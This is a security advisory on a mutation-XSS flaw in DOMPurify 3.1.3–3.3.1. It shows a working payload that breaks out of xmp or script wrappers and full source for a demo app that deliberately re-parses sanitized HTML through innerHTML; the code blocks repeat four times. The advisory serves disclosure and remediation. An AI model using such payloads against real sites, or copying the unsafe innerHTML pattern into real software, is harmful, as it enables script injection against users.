DOMPurify mXSS via Re-Contextualization

5,3

Medium

Discovered by

Camilo Vera and Cristian Vargas

Offensive Team, Fluid Attacks and Security Researcher, VulnCheck

Summary

Full name

DOMPurify mXSS via Re-Contextualization

Code name

State

Public

Release date

Affected product

DomPurify

Vendor

DomPurify

Affected version(s)

from 3.1.3 through 3.3.1

Fixed version(s)

3.3.2

Package manager

npm

Vulnerability name

DOM-Based cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

5.3

Exploit available

Yes

CVE ID(s)

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> , or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

  1. Start the PoC app:

npm install
npm start
npm install
npm start
npm install
npm start
npm install
npm start
  1. Open http://localhost:3001.

  2. Set Wrapper en sink to xmp.

  3. Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.

  2. Observe:

  • Sanitized response still contains the </xmp> sequence inside alt.

  • The sink parse to include <img src="x" onerror="alert('expoc')">.

  • alert('expoc') is triggered.

  1. Files:

  • index.html

    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>expoc - DOMPurify SSR PoC</title>
        <style>
          :root {
            --bg: #f7f8fb;
            --panel: #ffffff;
            --line: #d8dce6;
            --text: #0f172a;
            --muted: #475569;
            --accent: #0ea5e9;
          }
    
          * {
            box-sizing: border-box;
          }
    
          body {
            margin: 0;
            font-family: "SF Mono", Menlo, Consolas, monospace;
            color: var(--text);
            background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
          }
    
          main {
            max-width: 980px;
            margin: 28px auto;
            padding: 0 16px 20px;
          }
    
          h1 {
            margin: 0 0 10px;
            font-size: 1.45rem;
          }
    
          p {
            margin: 0;
            color: var(--muted);
          }
    
          .grid {
            display: grid;
            gap: 14px;
            margin-top: 16px;
          }
    
          .card {
            background: var(--panel);
            border: 1px solid var(--line);
            border-radius: 12px;
            padding: 14px;
          }
    
          label {
            display: block;
            margin-bottom: 7px;
            font-size: 0.85rem;
            color: var(--muted);
          }
    
          textarea,
          input,
          select,
          button {
            width: 100%;
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 9px 10px;
            font: inherit;
            background: #fff;
          }
    
          textarea {
            min-height: 110px;
            resize: vertical;
          }
    
          .row {
            display: grid;
            grid-template-columns: 1fr 230px;
            gap: 12px;
          }
    
          button {
            cursor: pointer;
            background: var(--accent);
            color: #fff;
            border-color: #0284c7;
          }
    
          #sink {
            min-height: 90px;
            border: 1px dashed #94a3b8;
            border-radius: 8px;
            padding: 10px;
            background: #f8fafc;
          }
    
          pre {
            margin: 0;
            white-space: pre-wrap;
            word-break: break-word;
          }
    
          .note {
            margin-top: 8px;
            font-size: 0.85rem;
          }
    
          .status-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
            gap: 8px;
            margin-top: 10px;
          }
    
          .status-item {
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 8px 10px;
            font-size: 0.85rem;
            background: #fff;
          }
    
          .status-item.vuln {
            border-color: #ef4444;
            background: #fef2f2;
          }
    
          .status-item.safe {
            border-color: #22c55e;
            background: #f0fdf4;
          }
    
          @media (max-width: 760px) {
            .row {
              grid-template-columns: 1fr;
            }
          }
        </style>
      </head>
      <body>
        <main>
          <h1>expoc - DOMPurify Server-Side PoC</h1>
          <p>
            Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
          </p>
    
          <div class="grid">
            <section class="card">
              <label for="payload">Payload</label>
              <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
              <div class="row" style="margin-top: 10px;">
                <div>
                  <label for="wrapper">Wrapper en sink</label>
                  <select id="wrapper">
                    <option value="div">div</option>
                    <option value="textarea">textarea</option>
                    <option value="title">title</option>
                    <option value="style">style</option>
                    <option value="script" selected>script</option>
                    <option value="xmp">xmp</option>
                    <option value="iframe">iframe</option>
                    <option value="noembed">noembed</option>
                    <option value="noframes">noframes</option>
                    <option value="noscript">noscript</option>
                  </select>
                </div>
                <div style="display:flex;align-items:end;">
                  <button id="run" type="button">Sanitize + Render</button>
                </div>
              </div>
              <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
              <div class="status-grid">
                <div class="status-item vuln">script (vulnerable)</div>
                <div class="status-item vuln">xmp (vulnerable)</div>
                <div class="status-item vuln">iframe (vulnerable)</div>
                <div class="status-item vuln">noembed (vulnerable)</div>
                <div class="status-item vuln">noframes (vulnerable)</div>
                <div class="status-item vuln">noscript (vulnerable)</div>
                <div class="status-item safe">div (no vulnerable)</div>
                <div class="status-item safe">textarea (no vulnerable)</div>
                <div class="status-item safe">title (no vulnerable)</div>
                <div class="status-item safe">style (no vulnerable)</div>
              </div>
            </section>
    
            <section class="card">
              <label>Sanitized response</label>
              <pre id="sanitized">(empty)</pre>
            </section>
    
            <section class="card">
              <label>Sink</label>
              <div id="sink"></div>
            </section>
          </div>
        </main>
    
        <script>
          const payload = document.getElementById('payload');
          const wrapper = document.getElementById('wrapper');
          const run = document.getElementById('run');
          const sanitizedNode = document.getElementById('sanitized');
          const sink = document.getElementById('sink');
    
          run.addEventListener('click', async () => {
            const response = await fetch('/sanitize', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ input: payload.value })
            });
    
            const data = await response.json();
            const sanitized = data.sanitized || '';
            const w = wrapper.value;
    
            sanitizedNode.textContent = sanitized;
            sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
          });
        </script>
      </body>
    </html>
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>expoc - DOMPurify SSR PoC</title>
        <style>
          :root {
            --bg: #f7f8fb;
            --panel: #ffffff;
            --line: #d8dce6;
            --text: #0f172a;
            --muted: #475569;
            --accent: #0ea5e9;
          }
    
          * {
            box-sizing: border-box;
          }
    
          body {
            margin: 0;
            font-family: "SF Mono", Menlo, Consolas, monospace;
            color: var(--text);
            background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
          }
    
          main {
            max-width: 980px;
            margin: 28px auto;
            padding: 0 16px 20px;
          }
    
          h1 {
            margin: 0 0 10px;
            font-size: 1.45rem;
          }
    
          p {
            margin: 0;
            color: var(--muted);
          }
    
          .grid {
            display: grid;
            gap: 14px;
            margin-top: 16px;
          }
    
          .card {
            background: var(--panel);
            border: 1px solid var(--line);
            border-radius: 12px;
            padding: 14px;
          }
    
          label {
            display: block;
            margin-bottom: 7px;
            font-size: 0.85rem;
            color: var(--muted);
          }
    
          textarea,
          input,
          select,
          button {
            width: 100%;
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 9px 10px;
            font: inherit;
            background: #fff;
          }
    
          textarea {
            min-height: 110px;
            resize: vertical;
          }
    
          .row {
            display: grid;
            grid-template-columns: 1fr 230px;
            gap: 12px;
          }
    
          button {
            cursor: pointer;
            background: var(--accent);
            color: #fff;
            border-color: #0284c7;
          }
    
          #sink {
            min-height: 90px;
            border: 1px dashed #94a3b8;
            border-radius: 8px;
            padding: 10px;
            background: #f8fafc;
          }
    
          pre {
            margin: 0;
            white-space: pre-wrap;
            word-break: break-word;
          }
    
          .note {
            margin-top: 8px;
            font-size: 0.85rem;
          }
    
          .status-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
            gap: 8px;
            margin-top: 10px;
          }
    
          .status-item {
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 8px 10px;
            font-size: 0.85rem;
            background: #fff;
          }
    
          .status-item.vuln {
            border-color: #ef4444;
            background: #fef2f2;
          }
    
          .status-item.safe {
            border-color: #22c55e;
            background: #f0fdf4;
          }
    
          @media (max-width: 760px) {
            .row {
              grid-template-columns: 1fr;
            }
          }
        </style>
      </head>
      <body>
        <main>
          <h1>expoc - DOMPurify Server-Side PoC</h1>
          <p>
            Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
          </p>
    
          <div class="grid">
            <section class="card">
              <label for="payload">Payload</label>
              <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
              <div class="row" style="margin-top: 10px;">
                <div>
                  <label for="wrapper">Wrapper en sink</label>
                  <select id="wrapper">
                    <option value="div">div</option>
                    <option value="textarea">textarea</option>
                    <option value="title">title</option>
                    <option value="style">style</option>
                    <option value="script" selected>script</option>
                    <option value="xmp">xmp</option>
                    <option value="iframe">iframe</option>
                    <option value="noembed">noembed</option>
                    <option value="noframes">noframes</option>
                    <option value="noscript">noscript</option>
                  </select>
                </div>
                <div style="display:flex;align-items:end;">
                  <button id="run" type="button">Sanitize + Render</button>
                </div>
              </div>
              <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
              <div class="status-grid">
                <div class="status-item vuln">script (vulnerable)</div>
                <div class="status-item vuln">xmp (vulnerable)</div>
                <div class="status-item vuln">iframe (vulnerable)</div>
                <div class="status-item vuln">noembed (vulnerable)</div>
                <div class="status-item vuln">noframes (vulnerable)</div>
                <div class="status-item vuln">noscript (vulnerable)</div>
                <div class="status-item safe">div (no vulnerable)</div>
                <div class="status-item safe">textarea (no vulnerable)</div>
                <div class="status-item safe">title (no vulnerable)</div>
                <div class="status-item safe">style (no vulnerable)</div>
              </div>
            </section>
    
            <section class="card">
              <label>Sanitized response</label>
              <pre id="sanitized">(empty)</pre>
            </section>
    
            <section class="card">
              <label>Sink</label>
              <div id="sink"></div>
            </section>
          </div>
        </main>
    
        <script>
          const payload = document.getElementById('payload');
          const wrapper = document.getElementById('wrapper');
          const run = document.getElementById('run');
          const sanitizedNode = document.getElementById('sanitized');
          const sink = document.getElementById('sink');
    
          run.addEventListener('click', async () => {
            const response = await fetch('/sanitize', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ input: payload.value })
            });
    
            const data = await response.json();
            const sanitized = data.sanitized || '';
            const w = wrapper.value;
    
            sanitizedNode.textContent = sanitized;
            sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
          });
        </script>
      </body>
    </html>
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>expoc - DOMPurify SSR PoC</title>
        <style>
          :root {
            --bg: #f7f8fb;
            --panel: #ffffff;
            --line: #d8dce6;
            --text: #0f172a;
            --muted: #475569;
            --accent: #0ea5e9;
          }
    
          * {
            box-sizing: border-box;
          }
    
          body {
            margin: 0;
            font-family: "SF Mono", Menlo, Consolas, monospace;
            color: var(--text);
            background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
          }
    
          main {
            max-width: 980px;
            margin: 28px auto;
            padding: 0 16px 20px;
          }
    
          h1 {
            margin: 0 0 10px;
            font-size: 1.45rem;
          }
    
          p {
            margin: 0;
            color: var(--muted);
          }
    
          .grid {
            display: grid;
            gap: 14px;
            margin-top: 16px;
          }
    
          .card {
            background: var(--panel);
            border: 1px solid var(--line);
            border-radius: 12px;
            padding: 14px;
          }
    
          label {
            display: block;
            margin-bottom: 7px;
            font-size: 0.85rem;
            color: var(--muted);
          }
    
          textarea,
          input,
          select,
          button {
            width: 100%;
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 9px 10px;
            font: inherit;
            background: #fff;
          }
    
          textarea {
            min-height: 110px;
            resize: vertical;
          }
    
          .row {
            display: grid;
            grid-template-columns: 1fr 230px;
            gap: 12px;
          }
    
          button {
            cursor: pointer;
            background: var(--accent);
            color: #fff;
            border-color: #0284c7;
          }
    
          #sink {
            min-height: 90px;
            border: 1px dashed #94a3b8;
            border-radius: 8px;
            padding: 10px;
            background: #f8fafc;
          }
    
          pre {
            margin: 0;
            white-space: pre-wrap;
            word-break: break-word;
          }
    
          .note {
            margin-top: 8px;
            font-size: 0.85rem;
          }
    
          .status-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
            gap: 8px;
            margin-top: 10px;
          }
    
          .status-item {
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 8px 10px;
            font-size: 0.85rem;
            background: #fff;
          }
    
          .status-item.vuln {
            border-color: #ef4444;
            background: #fef2f2;
          }
    
          .status-item.safe {
            border-color: #22c55e;
            background: #f0fdf4;
          }
    
          @media (max-width: 760px) {
            .row {
              grid-template-columns: 1fr;
            }
          }
        </style>
      </head>
      <body>
        <main>
          <h1>expoc - DOMPurify Server-Side PoC</h1>
          <p>
            Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
          </p>
    
          <div class="grid">
            <section class="card">
              <label for="payload">Payload</label>
              <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
              <div class="row" style="margin-top: 10px;">
                <div>
                  <label for="wrapper">Wrapper en sink</label>
                  <select id="wrapper">
                    <option value="div">div</option>
                    <option value="textarea">textarea</option>
                    <option value="title">title</option>
                    <option value="style">style</option>
                    <option value="script" selected>script</option>
                    <option value="xmp">xmp</option>
                    <option value="iframe">iframe</option>
                    <option value="noembed">noembed</option>
                    <option value="noframes">noframes</option>
                    <option value="noscript">noscript</option>
                  </select>
                </div>
                <div style="display:flex;align-items:end;">
                  <button id="run" type="button">Sanitize + Render</button>
                </div>
              </div>
              <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
              <div class="status-grid">
                <div class="status-item vuln">script (vulnerable)</div>
                <div class="status-item vuln">xmp (vulnerable)</div>
                <div class="status-item vuln">iframe (vulnerable)</div>
                <div class="status-item vuln">noembed (vulnerable)</div>
                <div class="status-item vuln">noframes (vulnerable)</div>
                <div class="status-item vuln">noscript (vulnerable)</div>
                <div class="status-item safe">div (no vulnerable)</div>
                <div class="status-item safe">textarea (no vulnerable)</div>
                <div class="status-item safe">title (no vulnerable)</div>
                <div class="status-item safe">style (no vulnerable)</div>
              </div>
            </section>
    
            <section class="card">
              <label>Sanitized response</label>
              <pre id="sanitized">(empty)</pre>
            </section>
    
            <section class="card">
              <label>Sink</label>
              <div id="sink"></div>
            </section>
          </div>
        </main>
    
        <script>
          const payload = document.getElementById('payload');
          const wrapper = document.getElementById('wrapper');
          const run = document.getElementById('run');
          const sanitizedNode = document.getElementById('sanitized');
          const sink = document.getElementById('sink');
    
          run.addEventListener('click', async () => {
            const response = await fetch('/sanitize', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ input: payload.value })
            });
    
            const data = await response.json();
            const sanitized = data.sanitized || '';
            const w = wrapper.value;
    
            sanitizedNode.textContent = sanitized;
            sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
          });
        </script>
      </body>
    </html>
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>expoc - DOMPurify SSR PoC</title>
        <style>
          :root {
            --bg: #f7f8fb;
            --panel: #ffffff;
            --line: #d8dce6;
            --text: #0f172a;
            --muted: #475569;
            --accent: #0ea5e9;
          }
    
          * {
            box-sizing: border-box;
          }
    
          body {
            margin: 0;
            font-family: "SF Mono", Menlo, Consolas, monospace;
            color: var(--text);
            background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
          }
    
          main {
            max-width: 980px;
            margin: 28px auto;
            padding: 0 16px 20px;
          }
    
          h1 {
            margin: 0 0 10px;
            font-size: 1.45rem;
          }
    
          p {
            margin: 0;
            color: var(--muted);
          }
    
          .grid {
            display: grid;
            gap: 14px;
            margin-top: 16px;
          }
    
          .card {
            background: var(--panel);
            border: 1px solid var(--line);
            border-radius: 12px;
            padding: 14px;
          }
    
          label {
            display: block;
            margin-bottom: 7px;
            font-size: 0.85rem;
            color: var(--muted);
          }
    
          textarea,
          input,
          select,
          button {
            width: 100%;
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 9px 10px;
            font: inherit;
            background: #fff;
          }
    
          textarea {
            min-height: 110px;
            resize: vertical;
          }
    
          .row {
            display: grid;
            grid-template-columns: 1fr 230px;
            gap: 12px;
          }
    
          button {
            cursor: pointer;
            background: var(--accent);
            color: #fff;
            border-color: #0284c7;
          }
    
          #sink {
            min-height: 90px;
            border: 1px dashed #94a3b8;
            border-radius: 8px;
            padding: 10px;
            background: #f8fafc;
          }
    
          pre {
            margin: 0;
            white-space: pre-wrap;
            word-break: break-word;
          }
    
          .note {
            margin-top: 8px;
            font-size: 0.85rem;
          }
    
          .status-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
            gap: 8px;
            margin-top: 10px;
          }
    
          .status-item {
            border: 1px solid var(--line);
            border-radius: 8px;
            padding: 8px 10px;
            font-size: 0.85rem;
            background: #fff;
          }
    
          .status-item.vuln {
            border-color: #ef4444;
            background: #fef2f2;
          }
    
          .status-item.safe {
            border-color: #22c55e;
            background: #f0fdf4;
          }
    
          @media (max-width: 760px) {
            .row {
              grid-template-columns: 1fr;
            }
          }
        </style>
      </head>
      <body>
        <main>
          <h1>expoc - DOMPurify Server-Side PoC</h1>
          <p>
            Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
          </p>
    
          <div class="grid">
            <section class="card">
              <label for="payload">Payload</label>
              <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
              <div class="row" style="margin-top: 10px;">
                <div>
                  <label for="wrapper">Wrapper en sink</label>
                  <select id="wrapper">
                    <option value="div">div</option>
                    <option value="textarea">textarea</option>
                    <option value="title">title</option>
                    <option value="style">style</option>
                    <option value="script" selected>script</option>
                    <option value="xmp">xmp</option>
                    <option value="iframe">iframe</option>
                    <option value="noembed">noembed</option>
                    <option value="noframes">noframes</option>
                    <option value="noscript">noscript</option>
                  </select>
                </div>
                <div style="display:flex;align-items:end;">
                  <button id="run" type="button">Sanitize + Render</button>
                </div>
              </div>
              <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
              <div class="status-grid">
                <div class="status-item vuln">script (vulnerable)</div>
                <div class="status-item vuln">xmp (vulnerable)</div>
                <div class="status-item vuln">iframe (vulnerable)</div>
                <div class="status-item vuln">noembed (vulnerable)</div>
                <div class="status-item vuln">noframes (vulnerable)</div>
                <div class="status-item vuln">noscript (vulnerable)</div>
                <div class="status-item safe">div (no vulnerable)</div>
                <div class="status-item safe">textarea (no vulnerable)</div>
                <div class="status-item safe">title (no vulnerable)</div>
                <div class="status-item safe">style (no vulnerable)</div>
              </div>
            </section>
    
            <section class="card">
              <label>Sanitized response</label>
              <pre id="sanitized">(empty)</pre>
            </section>
    
            <section class="card">
              <label>Sink</label>
              <div id="sink"></div>
            </section>
          </div>
        </main>
    
        <script>
          const payload = document.getElementById('payload');
          const wrapper = document.getElementById('wrapper');
          const run = document.getElementById('run');
          const sanitizedNode = document.getElementById('sanitized');
          const sink = document.getElementById('sink');
    
          run.addEventListener('click', async () => {
            const response = await fetch('/sanitize', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ input: payload.value })
            });
    
            const data = await response.json();
            const sanitized = data.sanitized || '';
            const w = wrapper.value;
    
            sanitizedNode.textContent = sanitized;
            sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
          });
        </script>
      </body>
    </html>
  • server.js

    const express = require('express');
    const path = require('path');
    const { JSDOM } = require('jsdom');
    const createDOMPurify = require('dompurify');
    
    const app = express();
    const port = process.env.PORT || 3001;
    
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    
    app.use(express.json());
    app.use(express.static(path.join(__dirname, 'public')));
    
    app.get('/health', (_req, res) => {
      res.json({ ok: true, service: 'expoc' });
    });
    
    app.post('/sanitize', (req, res) => {
      const input = typeof req.body?.input === 'string' ? req.body.input : '';
      const sanitized = DOMPurify.sanitize(input);
      res.json({ sanitized });
    });
    
    app.listen(port, () => {
      console.log(`expoc running at http://localhost:${port}`);
    });
    const express = require('express');
    const path = require('path');
    const { JSDOM } = require('jsdom');
    const createDOMPurify = require('dompurify');
    
    const app = express();
    const port = process.env.PORT || 3001;
    
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    
    app.use(express.json());
    app.use(express.static(path.join(__dirname, 'public')));
    
    app.get('/health', (_req, res) => {
      res.json({ ok: true, service: 'expoc' });
    });
    
    app.post('/sanitize', (req, res) => {
      const input = typeof req.body?.input === 'string' ? req.body.input : '';
      const sanitized = DOMPurify.sanitize(input);
      res.json({ sanitized });
    });
    
    app.listen(port, () => {
      console.log(`expoc running at http://localhost:${port}`);
    });
    const express = require('express');
    const path = require('path');
    const { JSDOM } = require('jsdom');
    const createDOMPurify = require('dompurify');
    
    const app = express();
    const port = process.env.PORT || 3001;
    
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    
    app.use(express.json());
    app.use(express.static(path.join(__dirname, 'public')));
    
    app.get('/health', (_req, res) => {
      res.json({ ok: true, service: 'expoc' });
    });
    
    app.post('/sanitize', (req, res) => {
      const input = typeof req.body?.input === 'string' ? req.body.input : '';
      const sanitized = DOMPurify.sanitize(input);
      res.json({ sanitized });
    });
    
    app.listen(port, () => {
      console.log(`expoc running at http://localhost:${port}`);
    });
    const express = require('express');
    const path = require('path');
    const { JSDOM } = require('jsdom');
    const createDOMPurify = require('dompurify');
    
    const app = express();
    const port = process.env.PORT || 3001;
    
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    
    app.use(express.json());
    app.use(express.static(path.join(__dirname, 'public')));
    
    app.get('/health', (_req, res) => {
      res.json({ ok: true, service: 'expoc' });
    });
    
    app.post('/sanitize', (req, res) => {
      const input = typeof req.body?.input === 'string' ? req.body.input : '';
      const sanitized = DOMPurify.sanitize(input);
      res.json({ sanitized });
    });
    
    app.listen(port, () => {
      console.log(`expoc running at http://localhost:${port}`);
    });
  • package.json

    {
      "name": "expoc",
      "version": "1.0.0",
      "main": "server.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1",
        "start": "node server.js",
        "dev": "node server.js"
      },
      "keywords": [],
      "author": "",
      "license": "ISC",
      "description": "",
      "dependencies": {
        "dompurify": "^3.3.1",
        "express": "^5.2.1",
        "jsdom": "^28.1.0"
      }
    }
    {
      "name": "expoc",
      "version": "1.0.0",
      "main": "server.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1",
        "start": "node server.js",
        "dev": "node server.js"
      },
      "keywords": [],
      "author": "",
      "license": "ISC",
      "description": "",
      "dependencies": {
        "dompurify": "^3.3.1",
        "express": "^5.2.1",
        "jsdom": "^28.1.0"
      }
    }
    {
      "name": "expoc",
      "version": "1.0.0",
      "main": "server.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1",
        "start": "node server.js",
        "dev": "node server.js"
      },
      "keywords": [],
      "author": "",
      "license": "ISC",
      "description": "",
      "dependencies": {
        "dompurify": "^3.3.1",
        "express": "^5.2.1",
        "jsdom": "^28.1.0"
      }
    }
    {
      "name": "expoc",
      "version": "1.0.0",
      "main": "server.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1",
        "start": "node server.js",
        "dev": "node server.js"
      },
      "keywords": [],
      "author": "",
      "license": "ISC",
      "description": "",
      "dependencies": {
        "dompurify": "^3.3.1",
        "express": "^5.2.1",
        "jsdom": "^28.1.0"
      }
    }

Evidence

  • PoC

  • XSS triggered

Our security policy

The ID CVE-2026-0540 was reserved to refer to this issue from now on.

Disclosure policy

System Information

  • DomPurify

  • Version 3.3.1

  • Operating System: Any

References

Mitigation

An updated version of DomPurify is available at the vendor page.

Credits

The vulnerability was discovered by Scott Moore, from VulnCheck, and Camilo Vera, Cristian Vargas, from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor requested re-testing

Follow-up with vendor

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

SOC 2 Type II

SOC 3

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.

¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.